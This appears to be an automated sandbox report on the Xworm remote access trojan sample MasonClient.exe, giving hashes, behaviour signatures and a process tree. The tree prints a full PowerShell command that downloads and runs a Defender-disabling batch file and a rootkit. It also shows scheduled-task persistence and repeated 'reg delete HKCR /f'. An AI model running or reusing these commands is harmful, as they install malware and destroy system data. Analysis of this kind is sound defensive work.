Analysis
-
max time kernel
460s -
max time network
459s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
-
submitted
05/03/2025, 00:55
General
-
Target
MasonClient.exe
-
Size
54KB
-
MD5
a51b3cb18641d1abd8cc9104e06e09c4
-
SHA1
2e656f9f2fff61c4e0594a4459fe945c07735bc7
-
SHA256
b19785992fe57f8f4ab7c7fc7d067a6d3c0832252afc5f13d6e165afefcff90b
-
SHA512
ae01bc88a59e3b90b0f6d684cbc05b62e57baf3fe68d75d08652e0006adb3d6000939c6e688ce28d4a603afdf1e80b6b1cb3d5e9abaef24938bb8da34a403b76
-
SSDEEP
768:/IvFRjaxUL8U1Wj0bIKN0l1VzIf823Xocb036rSqyt/X6LGaAhJO0gu3:/I9Rjaxhj8NsfITHHb036Q/pbO0gu3
Malware Config
Extracted
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Extracted
xworm
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 3 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Xworm
Xworm is a remote access trojan written in C#.
-
Xworm family
-
Blocklisted process makes network request 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Downloads MZ/PE file 1 IoCs
-
Sets service image path in registry 2 TTPs 1 IoCs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 4 IoCs
-
Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Drops file in System32 directory 12 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 14 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 1 IoCs
-
Enumerates system info in registry 2 TTPs 6 IoCs
-
Modifies data under HKEY_USERS 23 IoCs
-
Modifies registry class 64 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 27 IoCs
-
Suspicious use of SendNotifyMessage 24 IoCs
-
Suspicious use of SetWindowsHookEx 1 IoCs
-
Suspicious use of UnmapMainImage 4 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2c26e5e8-87ed-4f1a-a30e-b128a32e3393}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Users\Admin\AppData\Roaming\MasonClient.exeC:\Users\Admin\AppData\Roaming\MasonClient.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\MasonClient.exeC:\Users\Admin\AppData\Roaming\MasonClient.exe2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\MasonClient.exeC:\Users\Admin\AppData\Roaming\MasonClient.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\MasonClient.exeC:\Users\Admin\AppData\Roaming\MasonClient.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\MasonClient.exeC:\Users\Admin\AppData\Roaming\MasonClient.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\MasonClient.exeC:\Users\Admin\AppData\Roaming\MasonClient.exe2⤵
-
-
C:\Users\Admin\AppData\Roaming\MasonClient.exeC:\Users\Admin\AppData\Roaming\MasonClient.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x498 0x2f42⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"2⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\MasonRootkit.exe"C:\ProgramData\MasonRootkit.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpABD0.tmp.bat""5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
C:\Windows\system32\timeout.exetimeout 36⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Temp\AngryVirus.exe"C:\Users\Admin\AppData\Local\Temp\AngryVirus.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "MasonMBR" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\\MasonMBR.exe" /RL HIGHEST4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\Pendulum.exe"C:\Users\Admin\AppData\Local\Temp\Pendulum.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
-
C:\Windows\System32\calc.exe"C:\Windows\System32\calc.exe"3⤵
-
-
C:\Windows\System32\mspaint.exe"C:\Windows\System32\mspaint.exe"3⤵
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg delete HKCR /f3⤵
-
C:\Windows\system32\reg.exereg delete HKCR /f4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"3⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x17c,0x1a4,0x1a8,0x1a0,0x1ac,0x7fffa899cc40,0x7fffa899cc4c,0x7fffa899cc583⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1696,i,9798049057202865540,6261402050331316175,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2044 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1888,i,9798049057202865540,6261402050331316175,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2112 /prefetch:33⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1860,i,9798049057202865540,6261402050331316175,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2216 /prefetch:83⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3132,i,9798049057202865540,6261402050331316175,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3176 /prefetch:13⤵
-
